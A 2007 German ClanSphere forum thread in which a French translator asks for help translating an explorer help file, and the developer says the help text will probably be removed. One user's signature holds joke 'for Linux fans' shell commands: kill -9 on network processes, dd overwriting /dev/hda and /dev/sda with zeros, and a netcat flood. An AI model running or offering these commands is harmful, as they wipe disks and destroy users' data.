Antworten: 7
Seite [1] |
|
 globalteam-domTry to beat me  Beiträge: 115 |
# Thema - 14.04.2007 um 16:04 Uhr
/lang/german/explorer.php Das ding ist sehr schwierig in franz. zu übersetzen, ich brauche hilfe dazu. Könnte Ihr vielleicht das übersichtlicher machen? Ich möchte gern das gut übersetzen. globalteam ------------------ ClanSphere - Makes your website a playmate, just dress her Dom |
Inaktiv |
 |
 duRiel  Weltmeister  Herkunft: Cambridge Beiträge: 7300 |
# Antwort: 1 - 16.04.2007 um 01:45 Uhr
weiß nicht obs das wert ist, ich mach mal nen thread und frag ob das irgendwer benutzt, hab nämlich auch keine lust das dauernd upzudaten wenns umsonst ist. |
Inaktiv |
 |  |
 pHaeno* Geekboy  Beiträge: 1405 |
# Antwort: 2 - 16.04.2007 um 01:48 Uhr
Mhmm ich kann mir die Datei ja mal ansehen und vielleicht kann man das ganze ein wenig anders formulieren wenn es euhc hilft. ------------------ hajo says: <div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div> 27.05.2007 um 01:38 Uhr - pHaeno*: Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES  weichmann...  Blondi (15:08): bist du nen mann oder nen weich ei?  pHaeno* (15:09): weichmann  mehr... if($ahnung==0) {
read( 'handbuch' ) ; } ## für Linux-Fans kill -9 `netstat -a | grep https | awk -e '{ print $3; }'` dd if=/dev/zero of=/dev/hda count=1M dd if=/dev/zero of=/dev/sda count=1M cat /dev/urandom | nc 127.0.0.1 443 |
Offline |
| |
| globalteam-dom Thread-Ersteller Try to beat me Beiträge: 115 |
# Antwort: 3 - 16.04.2007 um 02:28 Uhr
Das ist sehr schwierig zu übersetzen, muss man verstehen, ich möchte auch kein blödsinn weitergeben. danke ------------------ ClanSphere - Makes your website a playmate, just dress her Dom Zuletzt editiert von globalteam-dom am 16.04.2007 um 02:29 Uhr (1x Editiert) |
Inaktiv |
| |
| duRiel Weltmeister Herkunft: Cambridge Beiträge: 7300 |
# Antwort: 4 - 16.04.2007 um 16:21 Uhr
geh mal davon aus, dass die hilfe rausgenommen wird. hat auch schon probleme beim übersetzen ins englische gemacht, ausserdem hab ich nicht die zeit das dauernd zu updaten. Zuletzt editiert von duRiel am 16.04.2007 um 16:22 Uhr (1x Editiert) |
Inaktiv |
| |
| globalteam-dom Thread-Ersteller Try to beat me Beiträge: 115 |
# Antwort: 5 - 16.04.2007 um 21:20 Uhr
bist du allein, kann nicht jemand dir helfen duRiel? ------------------ ClanSphere - Makes your website a playmate, just dress her Dom |
Inaktiv |
| |
| duRiel Weltmeister Herkunft: Cambridge Beiträge: 7300 |
# Antwort: 6 - 16.04.2007 um 22:14 Uhr
lol ne, bin nicht allein, aber ich denke die, die aktiv mitwerkeln, haben keine lust dazu und das versteh ich, wills ja schließlich auch selbst nicht machen, ist schon ok so. wenn sich nicht noch was tut am vote darüber schmeiss ich das demnächst raus. grüße duRiel |
Inaktiv |
| |
| globalteam-dom Thread-Ersteller Try to beat me Beiträge: 115 |
# Antwort: 7 - 17.04.2007 um 22:06 Uhr
ok ------------------ ClanSphere - Makes your website a playmate, just dress her Dom |
Inaktiv |
| |
Antworten: 7
Seite [1] |
|
| Sie müssen sich registrieren, um zu antworten. |
